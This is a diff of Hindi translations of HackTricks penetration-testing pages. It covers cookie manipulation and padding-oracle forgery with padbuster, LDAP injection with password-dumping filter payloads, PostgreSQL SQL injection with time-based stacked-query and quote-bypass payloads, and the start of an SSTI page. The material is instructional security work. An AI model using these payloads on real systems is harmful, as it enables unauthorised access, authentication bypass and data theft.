कुकीज़ में उपयोग किए जाने वाले JSON वेब टोकन (JWT) भी कमजोरियाँ प्रस्तुत कर सकते हैं। संभावित दोषों और उन्हें शोषित करने के तरीकों के बारे में गहन जानकारी के लिए, JWT हैकिंग पर लिंक किए गए दस्तावेज़ तक पहुँचने की सिफारिश की जाती है।
|
||||
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
|
||||
यह हमला एक लॉग इन उपयोगकर्ता को एक वेब एप्लिकेशन पर अवांछित क्रियाएँ करने के लिए मजबूर करता है जिसमें वे वर्तमान में प्रमाणित हैं। हमलावर उन कुकीज़ का लाभ उठा सकते हैं जो कमजोर साइट पर हर अनुरोध के साथ स्वचालित रूप से भेजी जाती हैं।
|
||||
यह हमला एक लॉग इन उपयोगकर्ता को एक वेब एप्लिकेशन पर अवांछित क्रियाएँ करने के लिए मजबूर करता है जिसमें वे वर्तमान में प्रमाणित हैं। हमलावर उन कुकीज़ का लाभ उठा सकते हैं जो स्वचालित रूप से कमजोर साइट के साथ हर अनुरोध के साथ भेजी जाती हैं।
|
||||
|
||||
### Empty Cookies
|
||||
|
||||
(अधिक विवरण के लिए [मूल शोध](https://blog.ankursundara.com/cookie-bugs/) देखें) ब्राउज़र बिना नाम वाली कुकीज़ बनाने की अनुमति देते हैं, जिसे JavaScript के माध्यम से इस प्रकार प्रदर्शित किया जा सकता है:
|
||||
(अधिक विवरण के लिए [मूल शोध](https://blog.ankursundara.com/cookie-bugs/) देखें) ब्राउज़रों को बिना नाम वाली कुकीज़ बनाने की अनुमति है, जिसे JavaScript के माध्यम से इस प्रकार प्रदर्शित किया जा सकता है:
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
document.cookie = "b=v2"
|
||||
```
|
||||
संदेश में भेजे गए कुकी हेडर का परिणाम `a=v1; test value; b=v2;` है। दिलचस्प बात यह है कि यदि एक खाली नाम की कुकी सेट की जाती है, तो यह कुकीज़ में हेरफेर की अनुमति देती है, संभावित रूप से अन्य कुकीज़ को एक विशिष्ट मान सेट करके नियंत्रित करने की अनुमति देती है:
|
||||
संदेश में भेजे गए कुकी हेडर का परिणाम `a=v1; test value; b=v2;` है। दिलचस्प बात यह है कि यदि एक खाली नाम की कुकी सेट की जाती है, तो यह कुकीज़ में हेरफेर की अनुमति देती है, संभावित रूप से अन्य कुकीज़ को एक विशिष्ट मान पर सेट करके नियंत्रित करना:
|
||||
```js
|
||||
function setCookie(name, value) {
|
||||
document.cookie = `${name}=${value}`;
|
||||
|
@ -192,17 +192,17 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
* Zope अगली कुकी को पार्स करने के लिए एक अल्पविराम की तलाश करता है।
|
||||
* Python की कुकी कक्षाएँ एक स्पेस कैरेक्टर पर पार्सिंग शुरू करती हैं।
|
||||
|
||||
यह कमजोरी विशेष रूप से उन वेब अनुप्रयोगों में खतरनाक है जो कुकी-आधारित CSRF सुरक्षा पर निर्भर करते हैं, क्योंकि यह हमलावरों को स्पूफ किए गए CSRF-टोकन कुकीज़ इंजेक्ट करने की अनुमति देती है, जिससे सुरक्षा उपायों को बायपास किया जा सकता है। समस्या Python के डुप्लिकेट कुकी नामों के प्रबंधन से बढ़ जाती है, जहां अंतिम घटना पहले वाले को ओवरराइड कर देती है। यह असुरक्षित संदर्भों में `__Secure-` और `__Host-` कुकीज़ के लिए चिंताएँ भी उठाता है और जब कुकीज़ को बैक-एंड सर्वरों पर भेजा जाता है जो स्पूफिंग के प्रति संवेदनशील होते हैं, तो यह प्राधिकरण बायपास का कारण बन सकता है।
|
||||
यह कमजोरी विशेष रूप से उन वेब अनुप्रयोगों में खतरनाक है जो कुकी-आधारित CSRF सुरक्षा पर निर्भर करते हैं, क्योंकि यह हमलावरों को स्पूफ किए गए CSRF-टोकन कुकीज़ इंजेक्ट करने की अनुमति देती है, जो सुरक्षा उपायों को बायपास कर सकती है। समस्या Python के डुप्लिकेट कुकी नामों के प्रबंधन से बढ़ जाती है, जहां अंतिम घटना पहले वाले को ओवरराइड करती है। यह असुरक्षित संदर्भों में `__Secure-` और `__Host-` कुकीज़ के लिए चिंताएँ भी उठाती है और जब कुकीज़ को बैक-एंड सर्वरों पर भेजा जाता है जो स्पूफिंग के प्रति संवेदनशील होते हैं, तो यह प्राधिकरण बायपास का कारण बन सकती है।
|
||||
|
||||
### अतिरिक्त कमजोर कुकीज़ जांच
|
||||
### अतिरिक्त कमजोर कुकीज़ जांचें
|
||||
|
||||
#### **बुनियादी जांच**
|
||||
#### **बुनियादी जांचें**
|
||||
|
||||
* **कुकी** हर बार जब आप **लॉगिन** करते हैं तो **एक जैसी** होती है।
|
||||
* लॉग आउट करें और उसी कुकी का उपयोग करने का प्रयास करें।
|
||||
* एक ही खाते में 2 उपकरणों (या ब्राउज़रों) के साथ उसी कुकी का उपयोग करके लॉग इन करने का प्रयास करें।
|
||||
* जांचें कि क्या कुकी में कोई जानकारी है और इसे संशोधित करने का प्रयास करें।
|
||||
* लगभग समान उपयोगकर्ता नाम के साथ कई खाते बनाने का प्रयास करें और देखें कि क्या आप समानताएँ देख सकते हैं।
|
||||
* **कुकी** हर बार जब आप **लॉगिन** करते हैं, तो **एक जैसी** होती है।
|
||||
* लॉग आउट करें और उसी कुकी का उपयोग करने की कोशिश करें।
|
||||
* एक ही खाते में 2 उपकरणों (या ब्राउज़रों) के साथ उसी कुकी का उपयोग करके लॉग इन करने की कोशिश करें।
|
||||
* जांचें कि क्या कुकी में कोई जानकारी है और इसे संशोधित करने की कोशिश करें।
|
||||
* लगभग समान उपयोगकर्ता नाम के साथ कई खाते बनाने की कोशिश करें और देखें कि क्या आप समानताएँ देख सकते हैं।
|
||||
* यदि "**मुझे याद रखें**" विकल्प मौजूद है, तो देखें कि यह कैसे काम करता है। यदि यह मौजूद है और कमजोर हो सकता है, तो हमेशा **मुझे याद रखें** की कुकी का उपयोग करें बिना किसी अन्य कुकी के।
|
||||
* जांचें कि क्या पिछले कुकी का काम करता है, भले ही आप पासवर्ड बदल दें।
|
||||
|
||||
|
@ -210,9 +210,9 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
|
||||
यदि कुकी लॉग इन करते समय समान (या लगभग समान) रहती है, तो इसका मतलब शायद यह है कि कुकी आपके खाते के किसी क्षेत्र से संबंधित है (संभवतः उपयोगकर्ता नाम)। फिर आप कर सकते हैं:
|
||||
|
||||
* बहुत समान उपयोगकर्ता नाम के साथ कई **खाते** बनाने का प्रयास करें और देखें कि एल्गोरिदम कैसे काम कर रहा है।
|
||||
* **उपयोगकर्ता नाम को ब्रूटफोर्स** करने का प्रयास करें। यदि कुकी केवल आपके उपयोगकर्ता नाम के लिए एक प्रमाणीकरण विधि के रूप में सहेजी जाती है, तो आप उपयोगकर्ता नाम "**Bmin**" के साथ एक खाता बना सकते हैं और अपनी कुकी के हर एक **बिट** को **ब्रूटफोर्स** कर सकते हैं क्योंकि आप जो कुकी आज़माएंगे उनमें से एक "**admin**" की होगी।
|
||||
* **पैडिंग** **ओरकल** का प्रयास करें (आप कुकी की सामग्री को डिक्रिप्ट कर सकते हैं)। **पैडबस्टर** का उपयोग करें।
|
||||
* बहुत सारे **खाते** बनाने की कोशिश करें जिनके उपयोगकर्ता नाम बहुत **समान** हैं और यह अनुमान लगाने की कोशिश करें कि एल्गोरिदम कैसे काम कर रहा है।
|
||||
* **उपयोगकर्ता नाम को ब्रूटफोर्स** करने की कोशिश करें। यदि कुकी केवल आपके उपयोगकर्ता नाम के लिए प्रमाणीकरण विधि के रूप में सहेजी जाती है, तो आप उपयोगकर्ता नाम "**Bmin**" के साथ एक खाता बना सकते हैं और अपनी कुकी के हर एक **बिट** को **ब्रूटफोर्स** कर सकते हैं क्योंकि आप जो कुकी आज़माएँगे उनमें से एक "**admin**" की होगी।
|
||||
* **पैडिंग** **ओरकल** की कोशिश करें (आप कुकी की सामग्री को डिक्रिप्ट कर सकते हैं)। **पैडबस्टर** का उपयोग करें।
|
||||
|
||||
**पैडिंग ओरकल - पैडबस्टर उदाहरण**
|
||||
```bash
|
||||
|
@ -232,7 +232,7 @@ Padbuster कई प्रयास करेगा और आपसे पू
|
|||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
यह निष्पादन आपको सही ढंग से एन्क्रिप्ट और एन्कोड किया गया कुकी देगा जिसमें स्ट्रिंग **user=administrator** शामिल है।
|
||||
यह निष्पादन आपको कुकी सही ढंग से एन्क्रिप्ट और एन्कोडेड देगा जिसमें स्ट्रिंग **user=administrator** होगी।
|
||||
|
||||
**CBC-MAC**
|
||||
|
||||
|
@ -255,7 +255,7 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
|
|||
|
||||
उदाहरण के लिए "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" नाम का एक उपयोगकर्ता बनाएं और देखें कि क्या कुकी में कोई पैटर्न है (चूंकि ECB हर ब्लॉक को एक ही कुंजी के साथ एन्क्रिप्ट करता है, यदि उपयोगकर्ता नाम एन्क्रिप्ट किया गया है तो समान एन्क्रिप्टेड बाइट्स दिखाई दे सकते हैं)।
|
||||
|
||||
एक पैटर्न होना चाहिए (एक उपयोग किए गए ब्लॉक के आकार के साथ)। इसलिए, यह जानकर कि "a" का एक गुच्छा कैसे एन्क्रिप्ट किया गया है, आप एक उपयोगकर्ता नाम बना सकते हैं: "a"\*(ब्लॉक का आकार)+"admin"। फिर, आप कुकी से "a" के एक ब्लॉक के एन्क्रिप्टेड पैटर्न को हटा सकते हैं। और आपके पास उपयोगकर्ता नाम "admin" की कुकी होगी।
|
||||
एक पैटर्न होना चाहिए (एक उपयोग किए गए ब्लॉक के आकार के साथ)। इसलिए, यह जानकर कि "a" का एक समूह कैसे एन्क्रिप्ट किया गया है, आप एक उपयोगकर्ता नाम बना सकते हैं: "a"\*(ब्लॉक का आकार)+"admin"। फिर, आप कुकी से "a" के एक ब्लॉक के एन्क्रिप्टेड पैटर्न को हटा सकते हैं। और आपके पास उपयोगकर्ता नाम "admin" की कुकी होगी।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
@ -263,16 +263,16 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
|
|||
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -11,13 +11,13 @@
|
|||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_).
|
||||
|
||||
|
@ -43,7 +43,7 @@
|
|||
**Or** = |filterlist\
|
||||
**Not** = ! filter\
|
||||
**Filterlist** = 1\*filter\
|
||||
**Item**= सरल / उपस्थित / उपस्ट्रिंग\
|
||||
**Item**= सरल / उपस्थित / उपसर्ग\
|
||||
**Simple** = attr filtertype assertionvalue\
|
||||
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
|
||||
**Present** = attr = \*\
|
||||
|
@ -63,7 +63,7 @@
|
|||
**ADAM या Microsoft LDS**: 2 फ़िल्टर के साथ वे एक त्रुटि फेंकते हैं।\
|
||||
**SunOne Directory Server 5.0**: दोनों फ़िल्टर निष्पादित करते हैं।
|
||||
|
||||
**यह बहुत महत्वपूर्ण है कि फ़िल्टर को सही सिंटैक्स के साथ भेजा जाए, अन्यथा एक त्रुटि फेंकी जाएगी। केवल 1 फ़िल्टर भेजना बेहतर है।**
|
||||
**यह बहुत महत्वपूर्ण है कि फ़िल्टर को सही सिंटैक्स के साथ भेजा जाए या एक त्रुटि फेंकी जाएगी। केवल 1 फ़िल्टर भेजना बेहतर है।**
|
||||
|
||||
फ़िल्टर को इस प्रकार शुरू करना चाहिए: `&` या `|`\
|
||||
उदाहरण: `(&(directory=val1)(folder=public))`
|
||||
|
@ -152,7 +152,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
|
|||
```
|
||||
#### Dump data
|
||||
|
||||
आप ascii अक्षरों, अंकों और प्रतीकों पर पुनरावृत्ति कर सकते हैं:
|
||||
आप ascii अक्षरों, अंकों और प्रतीकों के माध्यम से पुनरावृत्ति कर सकते हैं:
|
||||
```bash
|
||||
(&(sn=administrator)(password=*)) : OK
|
||||
(&(sn=administrator)(password=A*)) : KO
|
||||
|
@ -167,7 +167,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
|
|||
|
||||
#### **मान्य LDAP फ़ील्ड खोजें**
|
||||
|
||||
LDAP ऑब्जेक्ट्स **डिफ़ॉल्ट रूप से कई विशेषताएँ शामिल करते हैं** जिन्हें **जानकारी सहेजने के लिए उपयोग किया जा सकता है।** आप उस जानकारी को निकालने के लिए **उनमें से सभी को ब्रूट-फोर्स करने की कोशिश कर सकते हैं।** आप [**डिफ़ॉल्ट LDAP विशेषताओं की सूची यहाँ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) पा सकते हैं।
|
||||
LDAP ऑब्जेक्ट्स **डिफ़ॉल्ट रूप से कई विशेषताएँ** रखते हैं जो **जानकारी सहेजने** के लिए उपयोग की जा सकती हैं। आप **उनमें से सभी को ब्रूट-फोर्स करने की कोशिश कर सकते हैं ताकि उस जानकारी को निकाला जा सके।** आप [**डिफ़ॉल्ट LDAP विशेषताओं की सूची यहाँ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) पा सकते हैं।
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
import requests
|
||||
|
@ -224,9 +224,9 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अजेय को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -238,9 +238,9 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें.
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर **हमें फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,27 +15,27 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
***
|
||||
|
||||
**यह पृष्ठ विभिन्न तकनीकों को समझाने का लक्ष्य रखता है जो आपको एक पोस्टग्रेएसक्यूएल डेटाबेस में पाए गए SQL इंजेक्शन का शोषण करने में मदद कर सकती हैं और उन तकनीकों को पूरा कर सकती हैं जो आप पा सकते हैं** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||
**यह पृष्ठ विभिन्न तकनीकों को समझाने का लक्ष्य रखता है जो आपको PostgreSQL डेटाबेस में पाए गए SQL इंजेक्शन का शोषण करने में मदद कर सकती हैं और उन तकनीकों को पूरा कर सकती हैं जो आप** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **पर पा सकते हैं।**
|
||||
|
||||
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
|
||||
|
||||
**PostgreSQL मॉड्यूल `dblink`** अन्य PostgreSQL उदाहरणों से कनेक्ट करने और TCP कनेक्शन निष्पादित करने की क्षमताएँ प्रदान करता है। ये सुविधाएँ, `COPY FROM` कार्यक्षमता के साथ मिलकर, विशेषाधिकार वृद्धि, पोर्ट स्कैनिंग और NTLM चुनौती प्रतिक्रिया कैप्चर जैसी क्रियाओं को सक्षम बनाती हैं। इन हमलों को निष्पादित करने के विस्तृत तरीकों के लिए देखें कि [इन हमलों को कैसे करें](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
**PostgreSQL मॉड्यूल `dblink`** अन्य PostgreSQL उदाहरणों से कनेक्ट करने और TCP कनेक्शन निष्पादित करने की क्षमताएँ प्रदान करता है। ये सुविधाएँ, `COPY FROM` कार्यक्षमता के साथ मिलकर, विशेषाधिकार वृद्धि, पोर्ट स्कैनिंग, और NTLM चुनौती प्रतिक्रिया कैप्चर जैसी क्रियाओं को सक्षम बनाती हैं। इन हमलों को निष्पादित करने के विस्तृत तरीकों के लिए देखें कि [इन हमलों को कैसे करें](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)।
|
||||
|
||||
### **dblink और बड़े ऑब्जेक्ट्स का उपयोग करके एक्सफिल्ट्रेशन उदाहरण**
|
||||
|
||||
आप [**इस उदाहरण को पढ़ सकते हैं**](dblink-lo_import-data-exfiltration.md) यह देखने के लिए कि **कैसे बड़े ऑब्जेक्ट्स के अंदर डेटा लोड करें और फिर फ़ंक्शन `dblink_connect` के उपयोगकर्ता नाम के अंदर बड़े ऑब्जेक्ट्स की सामग्री को एक्सफिल्ट्रेट करें**।
|
||||
आप [**इस उदाहरण को पढ़ सकते हैं**](dblink-lo\_import-data-exfiltration.md) यह देखने के लिए कि **कैसे बड़े ऑब्जेक्ट्स के अंदर डेटा लोड करें और फिर फ़ंक्शन `dblink_connect` के उपयोगकर्ता नाम के अंदर बड़े ऑब्जेक्ट्स की सामग्री को एक्सफिल्ट्रेट करें।**
|
||||
|
||||
## PostgreSQL हमले: पढ़ें/लिखें, RCE, प्रिवेस्क
|
||||
|
||||
देखें कि कैसे PostgreSQL से होस्ट को समझौता करें और विशेषाधिकार बढ़ाएँ:
|
||||
देखें कि PostgreSQL से होस्ट को कैसे समझौता करें और विशेषाधिकार कैसे बढ़ाएं:
|
||||
|
||||
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %}
|
||||
[pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md)
|
||||
|
@ -45,12 +45,12 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
### PostgreSQL स्ट्रिंग फ़ंक्शन
|
||||
|
||||
स्ट्रिंग्स को मैनिपुलेट करना आपको **WAFs या अन्य प्रतिबंधों को बायपास करने में मदद कर सकता है**।\
|
||||
[**इस पृष्ठ में**](https://www.postgresqltutorial.com/postgresql-string-functions/)**आप कुछ उपयोगी स्ट्रिंग फ़ंक्शन पा सकते हैं।**
|
||||
स्ट्रिंग्स को मैनिपुलेट करना आपको **WAFs या अन्य प्रतिबंधों को बायपास करने में मदद कर सकता है।**\
|
||||
[**इस पृष्ठ में**](https://www.postgresqltutorial.com/postgresql-string-functions/) **आप कुछ उपयोगी स्ट्रिंग फ़ंक्शन पा सकते हैं।**
|
||||
|
||||
### स्टैक्ड क्वेरीज़
|
||||
|
||||
याद रखें कि PostgreSQL स्टैक्ड क्वेरीज़ का समर्थन करता है, लेकिन कई एप्लिकेशन एक त्रुटि फेंक देंगे यदि 2 प्रतिक्रियाएँ लौटाई जाती हैं जब केवल 1 की अपेक्षा की जाती है। लेकिन, आप अभी भी टाइम इंजेक्शन के माध्यम से स्टैक्ड क्वेरीज़ का दुरुपयोग कर सकते हैं:
|
||||
याद रखें कि PostgreSQL स्टैक्ड क्वेरीज़ का समर्थन करता है, लेकिन कई एप्लिकेशन एक त्रुटि फेंक देंगे यदि 2 प्रतिक्रियाएँ लौटाई जाती हैं जबकि केवल 1 की अपेक्षा की जाती है। लेकिन, आप अभी भी टाइम इंजेक्शन के माध्यम से स्टैक्ड क्वेरीज़ का दुरुपयोग कर सकते हैं:
|
||||
```
|
||||
id=1; select pg_sleep(10);-- -
|
||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||
|
@ -87,7 +87,7 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
|
|||
|
||||
### निषिद्ध उद्धरण
|
||||
|
||||
यदि आप अपने पेलोड के लिए उद्धरण का उपयोग नहीं कर सकते हैं, तो आप इसे `CHR` के साथ बायपास कर सकते हैं बुनियादी धाराओं के लिए (_अक्षर संयोजन केवल बुनियादी प्रश्नों जैसे SELECT, INSERT, DELETE, आदि के लिए काम करता है। यह सभी SQL बयानों के लिए काम नहीं करता_):
|
||||
यदि आप अपने पेलोड के लिए उद्धरण का उपयोग नहीं कर सकते हैं, तो आप इसे `CHR` के साथ बायपास कर सकते हैं बुनियादी धाराओं के लिए (_अक्षर संयोजन केवल बुनियादी प्रश्नों जैसे SELECT, INSERT, DELETE, आदि के लिए काम करता है। यह सभी SQL बयानों के लिए काम नहीं करता है_):
|
||||
```
|
||||
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
|
||||
```
|
||||
|
@ -97,7 +97,7 @@ SELECT 'hacktricks';
|
|||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_).
|
||||
|
||||
|
|
|
@ -1,29 +1,31 @@
|
|||
# SSTI (Server Side Template Injection)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
|
||||
[https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpe](https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpeg)AWS हैकिंग सीखें और अभ्यास करें:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
